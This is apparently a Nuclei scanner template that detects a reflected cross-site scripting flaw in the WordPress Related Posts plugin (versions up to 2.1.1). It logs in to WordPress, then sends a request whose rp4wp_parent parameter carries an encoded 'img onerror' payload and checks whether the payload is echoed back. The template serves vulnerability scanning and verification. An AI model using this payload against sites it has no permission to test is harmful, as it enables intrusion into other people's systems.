id: wp-related-post-xss

info:
  name: WordPress Related Posts <= 2.1.1 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin before 2.1.1 contains an Reflected XSS via rp4wp_parent
  reference:
    - https://huntr.dev/bounties/7c9bd2d2-2a6f-420c-a45e-716600cf810e/
    - https://wordpress.org/plugins/wordpress-23-related-posts-plugin/advanced/
  metadata:
    verified: true
    max-request: 2
  tags: wp-plugin,xss,relatedposts,authenticated,huntr,wordpress,wp

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>&action=edit'
          - 'All Posts</a>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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